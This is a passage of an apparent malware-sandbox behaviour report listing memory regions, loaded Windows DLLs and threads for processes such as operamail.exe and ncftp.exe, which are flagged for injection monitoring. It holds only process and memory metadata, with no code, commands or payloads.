"pagefile_0x0000000000030000" filename = "" Region: id = 4465 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 4466 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 4467 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 4468 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 4469 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 4470 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 4471 start_va = 0x400000 end_va = 0x403fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 4472 start_va = 0x410000 end_va = 0x410fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 4473 start_va = 0x420000 end_va = 0x423fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 4474 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 4475 start_va = 0x480000 end_va = 0x53dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4476 start_va = 0x550000 end_va = 0x64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 4477 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 4478 start_va = 0x820000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 4479 start_va = 0x890000 end_va = 0x8a6fff monitored = 0 entry_point = 0x8914a1 region_type = mapped_file name = "notepad.exe" filename = "\\Program Files (x86)\\Microsoft Analysis Services\\notepad.exe" (normalized: "c:\\program files (x86)\\microsoft analysis services\\notepad.exe") Region: id = 4480 start_va = 0x8b0000 end_va = 0xa37fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008b0000" filename = "" Region: id = 4481 start_va = 0xa40000 end_va = 0xbc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a40000" filename = "" Region: id = 4482 start_va = 0xbd0000 end_va = 0x1fcffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bd0000" filename = "" Region: id = 4483 start_va = 0x1fd0000 end_va = 0x208bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001fd0000" filename = "" Region: id = 4484 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 4485 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 4486 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 4487 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 4488 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 4489 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 4490 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 4491 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 4492 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 4493 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 4494 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 4495 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 4496 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 4497 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 4498 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 4499 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 4500 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 4501 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 4502 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 4503 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 4504 start_va = 0x7ef10000 end_va = 0x7f00ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ef10000" filename = "" Region: id = 4505 start_va = 0x7f010000 end_va = 0x7f032fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f010000" filename = "" Region: id = 4506 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4507 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 4508 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4509 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 4558 start_va = 0x430000 end_va = 0x433fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4559 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4560 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 4561 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 4562 start_va = 0x650000 end_va = 0x74ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 4563 start_va = 0x450000 end_va = 0x450fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4564 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 4565 start_va = 0x460000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 4566 start_va = 0x750000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000750000" filename = "" Region: id = 4567 start_va = 0x2090000 end_va = 0x23c6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 227 os_tid = 0xeec Thread: id = 228 os_tid = 0xee0 Thread: id = 372 os_tid = 0x13a0 Process: id = "43" image_name = "operamail.exe" filename = "c:\\program files (x86)\\microsoft sql server\\operamail.exe" page_root = "0x56a08000" os_pid = "0xee4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files (x86)\\Microsoft SQL Server\\operamail.exe\" " cur_dir = "C:\\Program Files (x86)\\Microsoft SQL Server\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4407 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4408 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4409 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4410 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 4411 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 4412 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 4413 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 4414 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 4415 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 4416 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4417 start_va = 0x5c0000 end_va = 0x5c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 4418 start_va = 0x5d0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 4419 start_va = 0x5e0000 end_va = 0x767fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 4420 start_va = 0x770000 end_va = 0x8f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000770000" filename = "" Region: id = 4421 start_va = 0xd50000 end_va = 0xd53fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d50000" filename = "" Region: id = 4422 start_va = 0xd60000 end_va = 0xe1bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d60000" filename = "" Region: id = 4423 start_va = 0xe20000 end_va = 0xe23fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e20000" filename = "" Region: id = 4424 start_va = 0xe90000 end_va = 0xe9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e90000" filename = "" Region: id = 4425 start_va = 0xee0000 end_va = 0xfdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ee0000" filename = "" Region: id = 4426 start_va = 0x1080000 end_va = 0x1096fff monitored = 0 entry_point = 0x10814a1 region_type = mapped_file name = "operamail.exe" filename = "\\Program Files (x86)\\Microsoft SQL Server\\operamail.exe" (normalized: "c:\\program files (x86)\\microsoft sql server\\operamail.exe") Region: id = 4427 start_va = 0x10a0000 end_va = 0x249ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000010a0000" filename = "" Region: id = 4428 start_va = 0x2620000 end_va = 0x262ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002620000" filename = "" Region: id = 4429 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 4430 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 4431 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 4432 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 4433 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 4434 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 4435 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 4436 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 4437 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 4438 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 4439 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 4440 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 4441 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 4442 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 4443 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 4444 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 4445 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 4446 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 4447 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 4448 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 4449 start_va = 0x7ee70000 end_va = 0x7ef6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ee70000" filename = "" Region: id = 4450 start_va = 0x7ef70000 end_va = 0x7ef92fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ef70000" filename = "" Region: id = 4451 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4452 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 4453 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4454 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 4455 start_va = 0xe30000 end_va = 0xe33fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e30000" filename = "" Region: id = 4456 start_va = 0xe40000 end_va = 0xe40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e40000" filename = "" Region: id = 4457 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 4458 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 4459 start_va = 0x4c0000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 4460 start_va = 0xe50000 end_va = 0xe50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e50000" filename = "" Region: id = 4461 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 5945 start_va = 0xe60000 end_va = 0xe60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e60000" filename = "" Region: id = 5946 start_va = 0xfe0000 end_va = 0x105ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fe0000" filename = "" Region: id = 5947 start_va = 0x2630000 end_va = 0x2966fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 229 os_tid = 0xef0 Thread: id = 230 os_tid = 0xee8 Thread: id = 371 os_tid = 0xbfc Process: id = "44" image_name = "ncftp.exe" filename = "c:\\program files (x86)\\windows multimedia platform\\ncftp.exe" page_root = "0x175f4000" os_pid = "0xecc" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files (x86)\\Windows Multimedia Platform\\ncftp.exe\" " cur_dir = "C:\\Program Files (x86)\\Windows Multimedia Platform\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4510 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4511 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4512 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4513 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 4514 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 4515 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 4516 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 4517 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 4518 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 4519 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 4520 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 4521 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4522 start_va = 0x600000 end_va = 0x787fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 4523 start_va = 0x790000 end_va = 0x910fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000790000" filename = "" Region: id = 4524 start_va = 0xc50000 end_va = 0xc53fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c50000" filename = "" Region: id = 4525 start_va = 0xc60000 end_va = 0xc63fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c60000" filename = "" Region: id = 4526 start_va = 0xcd0000 end_va = 0xdcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cd0000" filename = "" Region: id = 4527 start_va = 0xe70000 end_va = 0xe7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e70000" filename = "" Region: id = 4528 start_va = 0xe80000 end_va = 0xf3bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e80000" filename = "" Region: id = 4529 start_va = 0xf50000 end_va = 0xf5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f50000" filename = "" Region: id = 4530 start_va = 0xfc0000 end_va = 0xfd6fff monitored = 0 entry_point = 0xfc14a1 region_type = mapped_file name = "ncftp.exe" filename = "\\Program Files (x86)\\Windows Multimedia Platform\\ncftp.exe" (normalized: "c:\\program files (x86)\\windows multimedia platform\\ncftp.exe") Region: id = 4531 start_va = 0xfe0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000fe0000" filename = "" Region: id = 4532 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 4533 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 4534 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 4535 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 4536 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 4537 